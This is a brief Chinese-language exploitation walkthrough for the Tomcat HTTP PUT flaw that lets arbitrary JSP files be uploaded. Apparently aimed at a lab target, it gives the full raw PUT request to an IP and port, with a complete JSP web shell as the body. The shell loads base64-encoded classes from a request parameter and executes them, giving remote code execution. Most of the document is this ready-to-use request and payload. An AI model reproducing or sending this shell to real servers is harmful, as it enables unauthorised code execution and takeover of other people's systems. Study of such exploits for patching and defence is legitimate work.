Tomcat 启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。
直接抓包,修改请求方式为 PUT,并且设置文件名,然后填充 shell(jsp shell即可)文件内容,发送成功后,服务器返回状态码201 ,说明存在该漏洞
PUT /1.jsp/ HTTP/1.1
Host: 123.58.224.8:42237
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.300880082.1660178161; _gid=GA1.1.1464323702.1660178161; arp_scroll_position=0; JSESSIONID=2FA02D78241A52F26BD9DE281819C63E
Connection: close
Content-Length: 953
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("1");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>